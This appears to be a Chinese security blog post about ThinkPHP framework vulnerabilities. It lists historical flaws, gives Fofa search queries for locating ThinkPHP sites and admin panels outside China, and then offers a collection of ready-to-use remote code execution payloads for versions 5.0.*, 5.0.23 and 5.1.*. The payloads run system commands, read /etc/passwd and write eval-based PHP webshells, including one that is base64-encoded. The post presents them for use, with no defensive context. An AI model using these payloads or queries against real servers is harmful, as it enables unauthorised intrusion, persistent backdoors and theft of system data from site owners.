本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Thinkphp简介
Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级 PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于thinkphp开发的网站。
二、Thinkphp历史漏洞
| 版本 | 漏洞类型 |
|---|---|
| ThinkPHP3.2.3 | 缓存函数设计缺陷可导致Getshel |
| ThinkPHP3.2.3 | 最新版update注入漏洞 |
| ThinkPHP3.2.X | find_select_delete注入 |
| ThinkPHP3.X | order_by注入漏洞 |
| ThinkPHP5.0.X | sql注入漏洞 |
| ThinkPHP5.0.10 | 缓存函数设计缺陷可导致Getshell |
| ThinkPHP5 | SQL注入漏洞&&敏感信息泄露 |
| ThinkPHP5.X | order_by注入漏洞 |
| ThinkPHP5.X | 远程代码执行 |
三、Thinkphp历史漏洞发现
1.默认页面、错误页面

2.批量漏洞检测
3.Fofa
header="thinkphp" && country!="CN"
header="thinkphp" && country!="CN" && title="后台管理"
header="thinkphp" && country!="CN" && title="后台管理" && after="2021-01-01"
四、Thinkphp历史漏洞利用
1. 5.0.* 版本常用POC
执行命令
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGV2YWwoJF9QT1NUW2NjY10pOz8+YmJi | base64 -d > shell9.php
注意:Base64编码后的字符串如果含有 + 号,在URL中需要进行URL编码,及 + 号变为 %2B
2. 5.0.23漏洞利用POC
POST:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
POST:/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php
3. 5.1.* 版本常用POC
执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id
/index.php?s=/index/\think\request/cache&key=1|phpinfo
写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[ccc]);?>" >shell.php
(echo "^<?php @eval(\$_POST[ccc]);?^>" >shell1.php)
其他payload:
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1